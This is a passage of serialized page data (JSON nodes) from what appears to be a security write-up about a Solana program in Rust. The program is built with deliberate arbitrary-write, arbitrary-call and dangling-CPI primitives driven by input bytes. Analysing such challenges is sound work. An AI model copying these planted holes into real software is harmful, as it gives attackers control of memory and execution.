{\n",{"type":23,"tag":75,"props":51816,"children":51817},{"class":77,"line":121},[51818,51822],{"type":23,"tag":75,"props":51819,"children":51820},{"style":82},[51821],{"type":29,"value":25075},{"type":23,"tag":75,"props":51823,"children":51824},{"style":94},[51825],{"type":29,"value":401},{"type":23,"tag":75,"props":51827,"children":51828},{"class":77,"line":138},[51829,51833,51837,51841,51846,51850,51855,51859,51864,51868,51873,51877,51881,51885,51889,51893,51897,51901,51905,51909,51913,51917,51921,51925,51929,51933,51937,51941,51945],{"type":23,"tag":75,"props":51830,"children":51831},{"style":82},[51832],{"type":29,"value":14352},{"type":23,"tag":75,"props":51834,"children":51835},{"style":110},[51836],{"type":29,"value":25099},{"type":23,"tag":75,"props":51838,"children":51839},{"style":209},[51840],{"type":29,"value":1193},{"type":23,"tag":75,"props":51842,"children":51843},{"style":94},[51844],{"type":29,"value":51845}," std",{"type":23,"tag":75,"props":51847,"children":51848},{"style":209},[51849],{"type":29,"value":1407},{"type":23,"tag":75,"props":51851,"children":51852},{"style":94},[51853],{"type":29,"value":51854},"mem",{"type":23,"tag":75,"props":51856,"children":51857},{"style":209},[51858],{"type":29,"value":1407},{"type":23,"tag":75,"props":51860,"children":51861},{"style":88},[51862],{"type":29,"value":51863},"transmute",{"type":23,"tag":75,"props":51865,"children":51866},{"style":209},[51867],{"type":29,"value":1407},{"type":23,"tag":75,"props":51869,"children":51870},{"style":94},[51871],{"type":29,"value":51872},"\u003C[",{"type":23,"tag":75,"props":51874,"children":51875},{"style":104},[51876],{"type":29,"value":1139},{"type":23,"tag":75,"props":51878,"children":51879},{"style":94},[51880],{"type":29,"value":739},{"type":23,"tag":75,"props":51882,"children":51883},{"style":237},[51884],{"type":29,"value":15349},{"type":23,"tag":75,"props":51886,"children":51887},{"style":94},[51888],{"type":29,"value":34275},{"type":23,"tag":75,"props":51890,"children":51891},{"style":209},[51892],{"type":29,"value":601},{"type":23,"tag":75,"props":51894,"children":51895},{"style":82},[51896],{"type":29,"value":14998},{"type":23,"tag":75,"props":51898,"children":51899},{"style":104},[51900],{"type":29,"value":17129},{"type":23,"tag":75,"props":51902,"children":51903},{"style":94},[51904],{"type":29,"value":18870},{"type":23,"tag":75,"props":51906,"children":51907},{"style":110},[51908],{"type":29,"value":14976},{"type":23,"tag":75,"props":51910,"children":51911},{"style":94},[51912],{"type":29,"value":814},{"type":23,"tag":75,"props":51914,"children":51915},{"style":209},[51916],{"type":29,"value":14339},{"type":23,"tag":75,"props":51918,"children":51919},{"style":237},[51920],{"type":29,"value":15349},{"type":23,"tag":75,"props":51922,"children":51923},{"style":94},[51924],{"type":29,"value":1610},{"type":23,"tag":75,"props":51926,"children":51927},{"style":209},[51928],{"type":29,"value":557},{"type":23,"tag":75,"props":51930,"children":51931},{"style":88},[51932],{"type":29,"value":37363},{"type":23,"tag":75,"props":51934,"children":51935},{"style":94},[51936],{"type":29,"value":1417},{"type":23,"tag":75,"props":51938,"children":51939},{"style":209},[51940],{"type":29,"value":557},{"type":23,"tag":75,"props":51942,"children":51943},{"style":88},[51944],{"type":29,"value":14939},{"type":23,"tag":75,"props":51946,"children":51947},{"style":94},[51948],{"type":29,"value":1430},{"type":23,"tag":75,"props":51950,"children":51951},{"class":77,"line":161},[51952,51956,51961,51965,51969,51973,51977,51981,51985,51989,51993,51997,52001,52005,52009,52013,52017,52021,52025,52029,52033,52038,52042,52046,52050,52054,52058,52062],{"type":23,"tag":75,"props":51953,"children":51954},{"style":82},[51955],{"type":29,"value":14352},{"type":23,"tag":75,"props":51957,"children":51958},{"style":110},[51959],{"type":29,"value":51960}," val",{"type":23,"tag":75,"props":51962,"children":51963},{"style":209},[51964],{"type":29,"value":1193},{"type":23,"tag":75,"props":51966,"children":51967},{"style":94},[51968],{"type":29,"value":51845},{"type":23,"tag":75,"props":51970,"children":51971},{"style":209},[51972],{"type":29,"value":1407},{"type":23,"tag":75,"props":51974,"children":51975},{"style":94},[51976],{"type":29,"value":51854},{"type":23,"tag":75,"props":51978,"children":51979},{"style":209},[51980],{"type":29,"value":1407},{"type":23,"tag":75,"props":51982,"children":51983},{"style":88},[51984],{"type":29,"value":51863},{"type":23,"tag":75,"props":51986,"children":51987},{"style":209},[51988],{"type":29,"value":1407},{"type":23,"tag":75,"props":51990,"children":51991},{"style":94},[51992],{"type":29,"value":51872},{"type":23,"tag":75,"props":51994,"children":51995},{"style":104},[51996],{"type":29,"value":1139},{"type":23,"tag":75,"props":51998,"children":51999},{"style":94},[52000],{"type":29,"value":739},{"type":23,"tag":75,"props":52002,"children":52003},{"style":237},[52004],{"type":29,"value":15349},{"type":23,"tag":75,"props":52006,"children":52007},{"style":94},[52008],{"type":29,"value":34275},{"type":23,"tag":75,"props":52010,"children":52011},{"style":104},[52012],{"type":29,"value":19301},{"type":23,"tag":75,"props":52014,"children":52015},{"style":94},[52016],{"type":29,"value":18870},{"type":23,"tag":75,"props":52018,"children":52019},{"style":110},[52020],{"type":29,"value":14976},{"type":23,"tag":75,"props":52022,"children":52023},{"style":94},[52024],{"type":29,"value":814},{"type":23,"tag":75,"props":52026,"children":52027},{"style":237},[52028],{"type":29,"value":15349},{"type":23,"tag":75,"props":52030,"children":52031},{"style":209},[52032],{"type":29,"value":14339},{"type":23,"tag":75,"props":52034,"children":52035},{"style":237},[52036],{"type":29,"value":52037},"16",{"type":23,"tag":75,"props":52039,"children":52040},{"style":94},[52041],{"type":29,"value":1610},{"type":23,"tag":75,"props":52043,"children":52044},{"style":209},[52045],{"type":29,"value":557},{"type":23,"tag":75,"props":52047,"children":52048},{"style":88},[52049],{"type":29,"value":37363},{"type":23,"tag":75,"props":52051,"children":52052},{"style":94},[52053],{"type":29,"value":1417},{"type":23,"tag":75,"props":52055,"children":52056},{"style":209},[52057],{"type":29,"value":557},{"type":23,"tag":75,"props":52059,"children":52060},{"style":88},[52061],{"type":29,"value":14939},{"type":23,"tag":75,"props":52063,"children":52064},{"style":94},[52065],{"type":29,"value":1430},{"type":23,"tag":75,"props":52067,"children":52068},{"class":77,"line":196},[52069,52074,52078,52083,52087,52091],{"type":23,"tag":75,"props":52070,"children":52071},{"style":110},[52072],{"type":29,"value":52073},"        ptr",{"type":23,"tag":75,"props":52075,"children":52076},{"style":209},[52077],{"type":29,"value":557},{"type":23,"tag":75,"props":52079,"children":52080},{"style":88},[52081],{"type":29,"value":52082},"write_volatile",{"type":23,"tag":75,"props":52084,"children":52085},{"style":94},[52086],{"type":29,"value":643},{"type":23,"tag":75,"props":52088,"children":52089},{"style":110},[52090],{"type":29,"value":23876},{"type":23,"tag":75,"props":52092,"children":52093},{"style":94},[52094],{"type":29,"value":15099},{"type":23,"tag":75,"props":52096,"children":52097},{"class":77,"line":220},[52098],{"type":23,"tag":75,"props":52099,"children":52100},{"style":94},[52101],{"type":29,"value":346},{"type":23,"tag":75,"props":52103,"children":52104},{"class":77,"line":248},[52105],{"type":23,"tag":75,"props":52106,"children":52107},{"style":94},[52108],{"type":29,"value":369},{"type":23,"tag":2797,"props":52110,"children":52111},{"start":100},[52112],{"type":23,"tag":2801,"props":52113,"children":52114},{},[52115,52116,52122],{"type":29,"value":18739},{"type":23,"tag":71,"props":52117,"children":52119},{"className":52118},[],[52120],{"type":29,"value":52121},"data[0] == 1",{"type":29,"value":52123},", a CPI to a non-existent program is executed:",{"type":23,"tag":64,"props":52125,"children":52127},{"className":987,"code":52126,"language":986,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[52128],{"type":23,"tag":71,"props":52129,"children":52130},{"__ignoreMap":7},[52131,52138,52182,52207,52237,52277,52298,52305,52312,52324,52340,52352,52363,52382],{"type":23,"tag":75,"props":52132,"children":52133},{"class":77,"line":78},[52134],{"type":23,"tag":75,"props":52135,"children":52136},{"style":94},[52137],{"type":29,"value":51769},{"type":23,"tag":75,"props":52139,"children":52140},{"class":77,"line":100},[52141,52145,52149,52154,52158,52162,52166,52170,52174,52178],{"type":23,"tag":75,"props":52142,"children":52143},{"style":82},[52144],{"type":29,"value":24933},{"type":23,"tag":75,"props":52146,"children":52147},{"style":82},[52148],{"type":29,"value":24938},{"type":23,"tag":75,"props":52150,"children":52151},{"style":88},[52152],{"type":29,"value":52153}," call",{"type":23,"tag":75,"props":52155,"children":52156},{"style":94},[52157],{"type":29,"value":643},{"type":23,"tag":75,"props":52159,"children":52160},{"style":110},[52161],{"type":29,"value":14976},{"type":23,"tag":75,"props":52163,"children":52164},{"style":209},[52165],{"type":29,"value":1018},{"type":23,"tag":75,"props":52167,"children":52168},{"style":209},[52169],{"type":29,"value":844},{"type":23,"tag":75,"props":52171,"children":52172},{"style":94},[52173],{"type":29,"value":814},{"type":23,"tag":75,"props":52175,"children":52176},{"style":104},[52177],{"type":29,"value":1139},{"type":23,"tag":75,"props":52179,"children":52180},{"style":94},[52181],{"type":29,"value":51814},{"type":23,"tag":75,"props":52183,"children":52184},{"class":77,"line":121},[52185,52189,52194,52198,52203],{"type":23,"tag":75,"props":52186,"children":52187},{"style":82},[52188],{"type":29,"value":1183},{"type":23,"tag":75,"props":52190,"children":52191},{"style":110},[52192],{"type":29,"value":52193}," ix",{"type":23,"tag":75,"props":52195,"children":52196},{"style":209},[52197],{"type":29,"value":1193},{"type":23,"tag":75,"props":52199,"children":52200},{"style":104},[52201],{"type":29,"value":52202}," Instruction",{"type":23,"tag":75,"props":52204,"children":52205},{"style":94},[52206],{"type":29,"value":401},{"type":23,"tag":75,"props":52208,"children":52209},{"class":77,"line":138},[52210,52215,52219,52224,52228,52233],{"type":23,"tag":75,"props":52211,"children":52212},{"style":110},[52213],{"type":29,"value":52214},"        program_id",{"type":23,"tag":75,"props":52216,"children":52217},{"style":209},[52218],{"type":29,"value":1018},{"type":23,"tag":75,"props":52220,"children":52221},{"style":88},[52222],{"type":29,"value":52223}," pubkey!",{"type":23,"tag":75,"props":52225,"children":52226},{"style":94},[52227],{"type":29,"value":643},{"type":23,"tag":75,"props":52229,"children":52230},{"style":1266},[52231],{"type":29,"value":52232},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":75,"props":52234,"children":52235},{"style":94},[52236],{"type":29,"value":1792},{"type":23,"tag":75,"props":52238,"children":52239},{"class":77,"line":161},[52240,52245,52249,52253,52257,52261,52265,52269,52273],{"type":23,"tag":75,"props":52241,"children":52242},{"style":110},[52243],{"type":29,"value":52244},"        data",{"type":23,"tag":75,"props":52246,"children":52247},{"style":209},[52248],{"type":29,"value":1018},{"type":23,"tag":75,"props":52250,"children":52251},{"style":110},[52252],{"type":29,"value":10592},{"type":23,"tag":75,"props":52254,"children":52255},{"style":209},[52256],{"type":29,"value":557},{"type":23,"tag":75,"props":52258,"children":52259},{"style":88},[52260],{"type":29,"value":37363},{"type":23,"tag":75,"props":52262,"children":52263},{"style":94},[52264],{"type":29,"value":1417},{"type":23,"tag":75,"props":52266,"children":52267},{"style":209},[52268],{"type":29,"value":557},{"type":23,"tag":75,"props":52270,"children":52271},{"style":88},[52272],{"type":29,"value":14939},{"type":23,"tag":75,"props":52274,"children":52275},{"style":94},[52276],{"type":29,"value":2580},{"type":23,"tag":75,"props":52278,"children":52279},{"class":77,"line":196},[52280,52285,52289,52293],{"type":23,"tag":75,"props":52281,"children":52282},{"style":110},[52283],{"type":29,"value":52284},"        accounts",{"type":23,"tag":75,"props":52286,"children":52287},{"style":209},[52288],{"type":29,"value":1018},{"type":23,"tag":75,"props":52290,"children":52291},{"style":88},[52292],{"type":29,"value":15003},{"type":23,"tag":75,"props":52294,"children":52295},{"style":94},[52296],{"type":29,"value":52297},"[]\n",{"type":23,"tag":75,"props":52299,"children":52300},{"class":77,"line":220},[52301],{"type":23,"tag":75,"props":52302,"children":52303},{"style":94},[52304],{"type":29,"value":50188},{"type":23,"tag":75,"props":52306,"children":52307},{"class":77,"line":248},[52308],{"type":23,"tag":75,"props":52309,"children":52310},{"emptyLinePlaceholder":15},[52311],{"type":29,"value":276},{"type":23,"tag":75,"props":52313,"children":52314},{"class":77,"line":270},[52315,52320],{"type":23,"tag":75,"props":52316,"children":52317},{"style":88},[52318],{"type":29,"value":52319},"    invoke_signed_unchecked",{"type":23,"tag":75,"props":52321,"children":52322},{"style":94},[52323],{"type":29,"value":97},{"type":23,"tag":75,"props":52325,"children":52326},{"class":77,"line":279},[52327,52331,52336],{"type":23,"tag":75,"props":52328,"children":52329},{"style":209},[52330],{"type":29,"value":14747},{"type":23,"tag":75,"props":52332,"children":52333},{"style":110},[52334],{"type":29,"value":52335},"ix",{"type":23,"tag":75,"props":52337,"children":52338},{"style":94},[52339],{"type":29,"value":118},{"type":23,"tag":75,"props":52341,"children":52342},{"class":77,"line":303},[52343,52347],{"type":23,"tag":75,"props":52344,"children":52345},{"style":209},[52346],{"type":29,"value":14747},{"type":23,"tag":75,"props":52348,"children":52349},{"style":94},[52350],{"type":29,"value":52351},"[],\n",{"type":23,"tag":75,"props":52353,"children":52354},{"class":77,"line":322},[52355,52359],{"type":23,"tag":75,"props":52356,"children":52357},{"style":209},[52358],{"type":29,"value":14747},{"type":23,"tag":75,"props":52360,"children":52361},{"style":94},[52362],{"type":29,"value":52351},{"type":23,"tag":75,"props":52364,"children":52365},{"class":77,"line":340},[52366,52370,52374,52378],{"type":23,"tag":75,"props":52367,"children":52368},{"style":94},[52369],{"type":29,"value":14930},{"type":23,"tag":75,"props":52371,"children":52372},{"style":209},[52373],{"type":29,"value":557},{"type":23,"tag":75,"props":52375,"children":52376},{"style":88},[52377],{"type":29,"value":14939},{"type":23,"tag":75,"props":52379,"children":52380},{"style":94},[52381],{"type":29,"value":14944},{"type":23,"tag":75,"props":52383,"children":52384},{"class":77,"line":349},[52385],{"type":23,"tag":75,"props":52386,"children":52387},{"style":94},[52388],{"type":29,"value":369},{"type":23,"tag":2797,"props":52390,"children":52391},{"start":121},[52392],{"type":23,"tag":2801,"props":52393,"children":52394},{},[52395,52397,52403],{"type":29,"value":52396},"Finally, if ",{"type":23,"tag":71,"props":52398,"children":52400},{"className":52399},[],[52401],{"type":29,"value":52402},"data[0]",{"type":29,"value":52404}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":64,"props":52406,"children":52408},{"className":987,"code":52407,"language":986,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[52409],{"type":23,"tag":71,"props":52410,"children":52411},{"__ignoreMap":7},[52412,52419,52467,52478,52598,52713,52732,52739,52774,52781,52900,53015,53034,53041],{"type":23,"tag":75,"props":52413,"children":52414},{"class":77,"line":78},[52415],{"type":23,"tag":75,"props":52416,"children":52417},{"style":94},[52418],{"type":29,"value":51769},{"type":23,"tag":75,"props":52420,"children":52421},{"class":77,"line":100},[52422,52426,52430,52435,52439,52443,52447,52451,52455,52459,52463],{"type":23,"tag":75,"props":52423,"children":52424},{"style":82},[52425],{"type":29,"value":24933},{"type":23,"tag":75,"props":52427,"children":52428},{"style":82},[52429],{"type":29,"value":24938},{"type":23,"tag":75,"props":52431,"children":52432},{"style":88},[52433],{"type":29,"value":52434}," process",{"type":23,"tag":75,"props":52436,"children":52437},{"style":94},[52438],{"type":29,"value":643},{"type":23,"tag":75,"props":52440,"children":52441},{"style":82},[52442],{"type":29,"value":14998},{"type":23,"tag":75,"props":52444,"children":52445},{"style":110},[52446],{"type":29,"value":10592},{"type":23,"tag":75,"props":52448,"children":52449},{"style":209},[52450],{"type":29,"value":1018},{"type":23,"tag":75,"props":52452,"children":52453},{"style":209},[52454],{"type":29,"value":844},{"type":23,"tag":75,"props":52456,"children":52457},{"style":94},[52458],{"type":29,"value":814},{"type":23,"tag":75,"props":52460,"children":52461},{"style":104},[52462],{"type":29,"value":1139},{"type":23,"tag":75,"props":52464,"children":52465},{"style":94},[52466],{"type":29,"value":51814},{"type":23,"tag":75,"props":52468,"children":52469},{"class":77,"line":121},[52470,52474],{"type":23,"tag":75,"props":52471,"children":52472},{"style":82},[52473],{"type":29,"value":25075},{"type":23,"tag":75,"props":52475,"children":52476},{"style":94},[52477],{"type":29,"value":401},{"type":23,"tag":75,"props":52479,"children":52480},{"class":77,"line":138},[52481,52485,52489,52493,52497,52501,52505,52509,52513,52517,52521,52525,52529,52533,52537,52541,52545,52549,52554,52558,52562,52566,52570,52574,52578,52582,52586,52590,52594],{"type":23,"tag":75,"props":52482,"children":52483},{"style":82},[52484],{"type":29,"value":14352},{"type":23,"tag":75,"props":52486,"children":52487},{"style":110},[52488],{"type":29,"value":25099},{"type":23,"tag":75,"props":52490,"children":52491},{"style":209},[52492],{"type":29,"value":1193},{"type":23,"tag":75,"props":52494,"children":52495},{"style":94},[52496],{"type":29,"value":51845},{"type":23,"tag":75,"props":52498,"children":52499},{"style":209},[52500],{"type":29,"value":1407},{"type":23,"tag":75,"props":52502,"children":52503},{"style":94},[52504],{"type":29,"value":51854},{"type":23,"tag":75,"props":52506,"children":52507},{"style":209},[52508],{"type":29,"value":1407},{"type":23,"tag":75,"props":52510,"children":52511},{"style":88},[52512],{"type":29,"value":51863},{"type":23,"tag":75,"props":52514,"children":52515},{"style":209},[52516],{"type":29,"value":1407},{"type":23,"tag":75,"props":52518,"children":52519},{"style":94},[52520],{"type":29,"value":51872},{"type":23,"tag":75,"props":52522,"children":52523},{"style":104},[52524],{"type":29,"value":1139},{"type":23,"tag":75,"props":52526,"children":52527},{"style":94},[52528],{"type":29,"value":739},{"type":23,"tag":75,"props":52530,"children":52531},{"style":237},[52532],{"type":29,"value":15349},{"type":23,"tag":75,"props":52534,"children":52535},{"style":94},[52536],{"type":29,"value":34275},{"type":23,"tag":75,"props":52538,"children":52539},{"style":82},[52540],{"type":29,"value":999},{"type":23,"tag":75,"props":52542,"children":52543},{"style":94},[52544],{"type":29,"value":643},{"type":23,"tag":75,"props":52546,"children":52547},{"style":104},[52548],{"type":29,"value":19301},{"type":23,"tag":75,"props":52550,"children":52551},{"style":94},[52552],{"type":29,"value":52553},")>(",{"type":23,"tag":75,"props":52555,"children":52556},{"style":110},[52557],{"type":29,"value":14976},{"type":23,"tag":75,"props":52559,"children":52560},{"style":94},[52561],{"type":29,"value":814},{"type":23,"tag":75,"props":52563,"children":52564},{"style":209},[52565],{"type":29,"value":14339},{"type":23,"tag":75,"props":52567,"children":52568},{"style":237},[52569],{"type":29,"value":15349},{"type":23,"tag":75,"props":52571,"children":52572},{"style":94},[52573],{"type":29,"value":1610},{"type":23,"tag":75,"props":52575,"children":52576},{"style":209},[52577],{"type":29,"value":557},{"type":23,"tag":75,"props":52579,"children":52580},{"style":88},[52581],{"type":29,"value":37363},{"type":23,"tag":75,"props":52583,"children":52584},{"style":94},[52585],{"type":29,"value":1417},{"type":23,"tag":75,"props":52587,"children":52588},{"style":209},[52589],{"type":29,"value":557},{"type":23,"tag":75,"props":52591,"children":52592},{"style":88},[52593],{"type":29,"value":14939},{"type":23,"tag":75,"props":52595,"children":52596},{"style":94},[52597],{"type":29,"value":1430},{"type":23,"tag":75,"props":52599,"children":52600},{"class":77,"line":161},[52601,52605,52609,52613,52617,52621,52625,52629,52633,52637,52641,52645,52649,52653,52657,52661,52665,52669,52673,52677,52681,52685,52689,52693,52697,52701,52705,52709],{"type":23,"tag":75,"props":52602,"children":52603},{"style":82},[52604],{"type":29,"value":14352},{"type":23,"tag":75,"props":52606,"children":52607},{"style":110},[52608],{"type":29,"value":51960},{"type":23,"tag":75,"props":52610,"children":52611},{"style":209},[52612],{"type":29,"value":1193},{"type":23,"tag":75,"props":52614,"children":52615},{"style":94},[52616],{"type":29,"value":51845},{"type":23,"tag":75,"props":52618,"children":52619},{"style":209},[52620],{"type":29,"value":1407},{"type":23,"tag":75,"props":52622,"children":52623},{"style":94},[52624],{"type":29,"value":51854},{"type":23,"tag":75,"props":52626,"children":52627},{"style":209},[52628],{"type":29,"value":1407},{"type":23,"tag":75,"props":52630,"children":52631},{"style":88},[52632],{"type":29,"value":51863},{"type":23,"tag":75,"props":52634,"children":52635},{"style":209},[52636],{"type":29,"value":1407},{"type":23,"tag":75,"props":52638,"children":52639},{"style":94},[52640],{"type":29,"value":51872},{"type":23,"tag":75,"props":52642,"children":52643},{"style":104},[52644],{"type":29,"value":1139},{"type":23,"tag":75,"props":52646,"children":52647},{"style":94},[52648],{"type":29,"value":739},{"type":23,"tag":75,"props":52650,"children":52651},{"style":237},[52652],{"type":29,"value":15349},{"type":23,"tag":75,"props":52654,"children":52655},{"style":94},[52656],{"type":29,"value":34275},{"type":23,"tag":75,"props":52658,"children":52659},{"style":104},[52660],{"type":29,"value":19301},{"type":23,"tag":75,"props":52662,"children":52663},{"style":94},[52664],{"type":29,"value":18870},{"type":23,"tag":75,"props":52666,"children":52667},{"style":110},[52668],{"type":29,"value":14976},{"type":23,"tag":75,"props":52670,"children":52671},{"style":94},[52672],{"type":29,"value":814},{"type":23,"tag":75,"props":52674,"children":52675},{"style":237},[52676],{"type":29,"value":15349},{"type":23,"tag":75,"props":52678,"children":52679},{"style":209},[52680],{"type":29,"value":14339},{"type":23,"tag":75,"props":52682,"children":52683},{"style":237},[52684],{"type":29,"value":52037},{"type":23,"tag":75,"props":52686,"children":52687},{"style":94},[52688],{"type":29,"value":1610},{"type":23,"tag":75,"props":52690,"children":52691},{"style":209},[52692],{"type":29,"value":557},{"type":23,"tag":75,"props":52694,"children":52695},{"style":88},[52696],{"type":29,"value":37363},{"type":23,"tag":75,"props":52698,"children":52699},{"style":94},[52700],{"type":29,"value":1417},{"type":23,"tag":75,"props":52702,"children":52703},{"style":209},[52704],{"type":29,"value":557},{"type":23,"tag":75,"props":52706,"children":52707},{"style":88},[52708],{"type":29,"value":14939},{"type":23,"tag":75,"props":52710,"children":52711},{"style":94},[52712],{"type":29,"value":1430},{"type":23,"tag":75,"props":52714,"children":52715},{"class":77,"line":196},[52716,52720,52724,52728],{"type":23,"tag":75,"props":52717,"children":52718},{"style":88},[52719],{"type":29,"value":52073},{"type":23,"tag":75,"props":52721,"children":52722},{"style":94},[52723],{"type":29,"value":643},{"type":23,"tag":75,"props":52725,"children":52726},{"style":110},[52727],{"type":29,"value":23876},{"type":23,"tag":75,"props":52729,"children":52730},{"style":94},[52731],{"type":29,"value":15099},{"type":23,"tag":75,"props":52733,"children":52734},{"class":77,"line":220},[52735],{"type":23,"tag":75,"props":52736,"children":52737},{"emptyLinePlaceholder":15},[52738],{"type":29,"value":276},{"type":23,"tag":75,"props":52740,"children":52741},{"class":77,"line":248},[52742,52746,52750,52754,52758,52762,52766,52770],{"type":23,"tag":75,"props":52743,"children":52744},{"style":110},[52745],{"type":29,"value":52244},{"type":23,"tag":75,"props":52747,"children":52748},{"style":209},[52749],{"type":29,"value":1193},{"type":23,"tag":75,"props":52751,"children":52752},{"style":209},[52753],{"type":29,"value":844},{"type":23,"tag":75,"props":52755,"children":52756},{"style":110},[52757],{"type":29,"value":14976},{"type":23,"tag":75,"props":52759,"children":52760},{"style":94},[52761],{"type":29,"value":814},{"type":23,"tag":75,"props":52763,"children":52764},{"style":237},[52765],{"type":29,"value":52037},{"type":23,"tag":75,"props":52767,"children":52768},{"style":209},[52769],{"type":29,"value":14339},{"type":23,"tag":75,"props":52771,"children":52772},{"style":94},[52773],{"type":29,"value":42769},{"type":23,"tag":75,"props":52775,"children":52776},{"class":77,"line":270},[52777],{"type":23,"tag":75,"props":52778,"children":52779},{"emptyLinePlaceholder":15},[52780],{"type":29,"value":276},{"type":23,"tag":75,"props":52782,"children":52783},{"class":77,"line":279},[52784,52788,52792,52796,52800,52804,52808,52812,52816,52820,52824,52828,52832,52836,52840,52844,52848,52852,52856,52860,52864,52868,52872,52876,52880,52884,52888,52892,52896],{"type":23,"tag":75,"props":52785,"children":52786},{"style":82},[52787],{"type":29,"value":14352},{"type":23,"tag":75,"props":52789,"children":52790},{"style":110},[52791],{"type":29,"value":25099},{"type":23,"tag":75,"props":52793,"children":52794},{"style":209},[52795],{"type":29,"value":1193},{"type":23,"tag":75,"props":52797,"children":52798},{"style":94},[52799],{"type":29,"value":51845},{"type":23,"tag":75,"props":52801,"children":52802},{"style":209},[52803],{"type":29,"value":1407},{"type":23,"tag":75,"props":52805,"children":52806},{"style":94},[52807],{"type":29,"value":51854},{"type":23,"tag":75,"props":52809,"children":52810},{"style":209},[52811],{"type":29,"value":1407},{"type":23,"tag":75,"props":52813,"children":52814},{"style":88},[52815],{"type":29,"value":51863},{"type":23,"tag":75,"props":52817,"children":52818},{"style":209},[52819],{"type":29,"value":1407},{"type":23,"tag":75,"props":52821,"children":52822},{"style":94},[52823],{"type":29,"value":51872},{"type":23,"tag":75,"props":52825,"children":52826},{"style":104},[52827],{"type":29,"value":1139},{"type":23,"tag":75,"props":52829,"children":52830},{"style":94},[52831],{"type":29,"value":739},{"type":23,"tag":75,"props":52833,"children":52834},{"style":237},[52835],{"type":29,"value":15349},{"type":23,"tag":75,"props":52837,"children":52838},{"style":94},[52839],{"type":29,"value":34275},{"type":23,"tag":75,"props":52841,"children":52842},{"style":82},[52843],{"type":29,"value":999},{"type":23,"tag":75,"props":52845,"children":52846},{"style":94},[52847],{"type":29,"value":643},{"type":23,"tag":75,"props":52849,"children":52850},{"style":104},[52851],{"type":29,"value":19301},{"type":23,"tag":75,"props":52853,"children":52854},{"style":94},[52855],{"type":29,"value":52553},{"type":23,"tag":75,"props":52857,"children":52858},{"style":110},[52859],{"type":29,"value":14976},{"type":23,"tag":75,"props":52861,"children":52862},{"style":94},[52863],{"type":29,"value":814},{"type":23,"tag":75,"props":52865,"children":52866},{"style":209},[52867],{"type":29,"value":14339},{"type":23,"tag":75,"props":52869,"children":52870},{"style":237},[52871],{"type":29,"value":15349},{"type":23,"tag":75,"props":52873,"children":52874},{"style":94},[52875],{"type":29,"value":1610},{"type":23,"tag":75,"props":52877,"children":52878},{"style":209},[52879],{"type":29,"value":557},{"type":23,"tag":75,"props":52881,"children":52882},{"style":88},[52883],{"type":29,"value":37363},{"type":23,"tag":75,"props":52885,"children":52886},{"style":94},[52887],{"type":29,"value":1417},{"type":23,"tag":75,"props":52889,"children":52890},{"style":209},[52891],{"type":29,"value":557},{"type":23,"tag":75,"props":52893,"children":52894},{"style":88},[52895],{"type":29,"value":14939},{"type":23,"tag":75,"props":52897,"children":52898},{"style":94},[52899],{"type":29,"value":1430},{"type":23,"tag":75,"props":52901,"children":52902},{"class":77,"line":303},[52903,52907,52911,52915,52919,52923,52927,52931,52935,52939,52943,52947,52951,52955,52959,52963,52967,52971,52975,52979,52983,52987,52991,52995,52999,53003,53007,53011],{"type":23,"tag":75,"props":52904,"children":52905},{"style":82},[52906],{"type":29,"value":14352},{"type":23,"tag":75,"props":52908,"children":52909},{"style":110},[52910],{"type":29,"value":51960},{"type":23,"tag":75,"props":52912,"children":52913},{"style":209},[52914],{"type":29,"value":1193},{"type":23,"tag":75,"props":52916,"children":52917},{"style":94},[52918],{"type":29,"value":51845},{"type":23,"tag":75,"props":52920,"children":52921},{"style":209},[52922],{"type":29,"value":1407},{"type":23,"tag":75,"props":52924,"children":52925},{"style":94},[52926],{"type":29,"value":51854},{"type":23,"tag":75,"props":52928,"children":52929},{"style":209},[52930],{"type":29,"value":1407},{"type":23,"tag":75,"props":52932,"children":52933},{"style":88},[52934],{"type":29,"value":51863},{"type":23,"tag":75,"props":52936,"children":52937},{"style":209},[52938],{"type":29,"value":1407},{"type":23,"tag":75,"props":52940,"children":52941},{"style":94},[52942],{"type":29,"value":51872},{"type":23,"tag":75,"props":52944,"children":52945},{"style":104},[52946],{"type":29,"value":1139},{"type":23,"tag":75,"props":52948,"children":52949},{"style":94},[52950],{"type":29,"value":739},{"type":23,"tag":75,"props":52952,"children":52953},{"style":237},[52954],{"type":29,"value":15349},{"type":23,"tag":75,"props":52956,"children":52957},{"style":94},[52958],{"type":29,"value":34275},{"type":23,"tag":75,"props":52960,"children":52961},{"style":104},[52962],{"type":29,"value":19301},{"type":23,"tag":75,"props":52964,"children":52965},{"style":94},[52966],{"type":29,"value":18870},{"type":23,"tag":75,"props":52968,"children":52969},{"style":110},[52970],{"type":29,"value":14976},{"type":23,"tag":75,"props":52972,"children":52973},{"style":94},[52974],{"type":29,"value":814},{"type":23,"tag":75,"props":52976,"children":52977},{"style":237},[52978],{"type":29,"value":15349},{"type":23,"tag":75,"props":52980,"children":52981},{"style":209},[52982],{"type":29,"value":14339},{"type":23,"tag":75,"props":52984,"children":52985},{"style":237},[52986],{"type":29,"value":52037},{"type":23,"tag":75,"props":52988,"children":52989},{"style":94},[52990],{"type":29,"value":1610},{"type":23,"tag":75,"props":52992,"children":52993},{"style":209},[52994],{"type":29,"value":557},{"type":23,"tag":75,"props":52996,"children":52997},{"style":88},[52998],{"type":29,"value":37363},{"type":23,"tag":75,"props":53000,"children":53001},{"style":94},[53002],{"type":29,"value":1417},{"type":23,"tag":75,"props":53004,"children":53005},{"style":209},[53006],{"type":29,"value":557},{"type":23,"tag":75,"props":53008,"children":53009},{"style":88},[53010],{"type":29,"value":14939},{"type":23